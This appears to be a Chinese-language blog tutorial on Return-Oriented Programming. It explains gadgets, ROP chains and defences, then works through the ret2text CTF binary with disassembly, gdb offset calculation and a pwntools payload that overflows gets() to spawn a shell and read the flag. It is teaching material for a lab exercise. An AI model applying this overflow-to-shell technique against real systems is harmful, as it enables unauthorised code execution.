Basic-ROP-Learning ROP(Return-Oriented Programming)概述 ROP(Return-Oriented Programming)是一种高级的代码复用攻击技术 ,主要用于绕过现代操作系统的安全防护机制(如DEP/NX)。其核心思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。
1. 基本概念 (1)产生背景
(2)核心原理
2. 关键组件
组件
作用
Gadget
程序中原有的短指令序列(通常以ret
结尾),实现基本操作(如读写寄存器)。
ROP Chain
由多个gadget地址和参数组成的栈数据,控制程序执行流。
Stack Pivot
将栈指针(ESP/RSP)转移到攻击者控制的内存区域(如堆),便于构造链。
3. 攻击步骤
信息泄露
获取内存地址(绕过ASLR),如通过格式化字符串漏洞泄露libc基址。
寻找Gadgets
使用工具(如ROPgadget
、ropper
)扫描二进制文件,收集可用gadgets。
构造ROP Chain
组合gadgets实现目标功能(如调用system("/bin/sh")
)。
触发漏洞
通过栈溢出等漏洞覆盖返回地址,跳转到第一个gadget。
4. 防御措施
防御技术
原理
ASLR
随机化内存布局,增加gadget地址预测难度。
Stack Canary
在栈帧中插入校验值,防止返回地址被覆盖。
CFI
控制流完整性(Control-Flow Integrity),限制跳转目标仅为合法地址。
PIC/PIE
位置无关代码,增强ASLR效果。
5.实例 Linux x86 ROP Exploit (1) ret2text
点击下载: ret2text
先看看程序的保护机制
~ checksec ret2text [*] '/ret2text' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes
可以看出程序是 32 位程序,且仅开启了栈不可执行保护。接下来我们使用 IDA 反编译该程序:
int __cdecl main (int argc, const char **argv, const char **envp) { char s[100 ]; setvbuf (stdout, 0 , 2 , 0 ); setvbuf (_bss_start, 0 , 1 , 0 ); puts ("There is something amazing here, do you know anything?" ); gets (s); printf ("Maybe I will tell you next time !" ); return 0 ; }
我们可以看到,程序在main
函数使用了很可疑的gets
,那程序中就存在栈溢出漏洞,我们回到IDA看反汇编代码
.text:0 80485FD secure proc near .text:0 80485FD .text:0 80485FD input = dword ptr -10 h .text:0 80485FD secretcode = dword ptr -0 Ch .text:0 80485FD .text:0 80485FD ; __unwind { .text:0 80485FD push ebp .text:0 80485FE mov ebp, esp .text:0 8048600 sub esp, 28 h .text:0 8048603 mov dword ptr [esp], 0 ; timer .text:0 804860A call _time .text:0 804860F mov [esp], eax ; seed .text:0 8048612 call _srand .text:0 8048617 call _rand .text:0 804861C mov [ebp+secretcode], eax .text:0 804861F lea eax, [ebp+input] .text:0 8048622 mov [esp+4 ], eax .text:0 8048626 mov dword ptr [esp], offset unk_8048760 .text:0 804862D call ___isoc99_scanf .text:0 8048632 mov eax, [ebp+input] .text:0 8048635 cmp eax, [ebp+secretcode] .text:0 8048638 jnz short locret_8048646 .text:0 804863A mov dword ptr [esp], offset command ; "/bin/sh" .text:0 8048641 call _system
在secure
函数中我们看到了存在调用system("/bin/sh")
,那我们的思路就是只能能覆盖到这个地址(即0x0804863A
)上就可以拿到shell了,现在再来确定我们能够控制的内存的起始地址距离main
函数的返回地址的字节数。
.text:0 80486A7 lea eax, [esp+80 h+s] .text:0 80486AB mov [esp], eax ; s .text:0 80486AE call _gets .text:0 80486B3 mov dword ptr [esp], offset format ; "Maybe I will tell you next time !" .text:0 80486BA call _printf .text:0 80486BF mov eax, 0 .text:0 80486C4 leave
用gef调试看看,现在call _gets
的地址处下断点,然后run一下
~ gdb ret2text GNU gdb (Ubuntu 12.1 -0u buntu1~22.04 .2 ) 12.1 Copyright (C) 2022 Free Software Foundation, Inc.gef➤ b *0x080486AE Breakpoint 1 at 0x80486ae: file ret2text.c, line 24. gef➤ r There is something amazing here, do you know anything? Breakpoint 1 , 0x080486ae in main () at ret2text.c:24 [ Legend: Modified register | Code | Heap | Stack | String ] ─────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $eax : 0xffffcf6c → 0xf7fc66d0 → 0x0000000e $ebx : 0xf7fac000 → 0x00229dac $ecx : 0xf7fad9b4 → 0x00000000 $edx : 0x1 $esp : 0xffffcf50 → 0xffffcf6c → 0xf7fc66d0 → 0x0000000e $ebp : 0xffffcfd8 → 0xf7ffd020 → 0xf7ffda40 → 0x00000000 $esi : 0xffffd094 → 0xffffd1fc → "/home/explorer/CTF-Challenge/Pwn/linux/user-mode/s[...]" $edi : 0xf7ffcb80 → 0x00000000 $eip : 0x080486ae → <main+0066 > call 0x8048460 <gets@plt> $eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x23 $ss: 0x2b $ds: 0x2b $es: 0x2b $fs: 0x00 $gs: 0x63
buf
地址:0xffffcd5c
(因为它是由 eax
和 esp
指向),ebp
是 0xffffcdc8
,而 buf
在 0xffffcd5c
,两者距离为:0xffffcdc8 - 0xffffcd5c = 0x6c (108 字节), 因此,输入 108 字节后即可覆盖返回地址。
验证猜想 通过我们上面的分析可以构造以下payload:
from pwn import *sh = process('./ret2text' ) target = 0x804863a sh.sendline(b'A' * 108 + p32(target)) sh.interactive()
得到以下输出,想想是哪里出了问题呢?
~ python3 exp.py [+] Starting local process './ret2text' : pid 1593 [*] Switching to interactive mode There is something amazing here, do you know anything? Maybe I will tell you next time ![*] Got EOF while reading in interactive $ ls [*] Process './ret2text' stopped with exit code -11 (SIGSEGV) (pid 1593) [*] Got EOF while sending in interactive
在此,笔者需要做一个小提示,在某些情况下,寄存器会占用栈空间(后续会专门发文详述),而在32位情况下。我们的ebp
占用了4字节,所以正确的偏移地址应该是:
总偏移 = buf 到 EBP 的距离 (0x6c ) + EBP 自身大小 (4 ) = 0x70 (112 )
因此,正确的payload是:
from pwn import *sh = process('./ret2text' ) target = 0x804863a sh.sendline(b'A' *(108 +4 ) + p32(target)) sh.interactive()
输出如下:
explorer@DESKTOP-JPMNN21:~/CTF-Challenge/Pwn/linux/user-mode/stackoverflow/x86/basic-rop$ python3 exp.py [+] Starting local process './ret2text' : pid 1766 [*] Switching to interactive mode There is something amazing here, do you know anything? Maybe I will tell you next time !$ ls exp.py flag ret2text $ cat flag flag{This_is_the_right_payload} $ [*] Interrupted [*] Stopped process './ret2text' (pid 1766)
不断更新,敬请期待!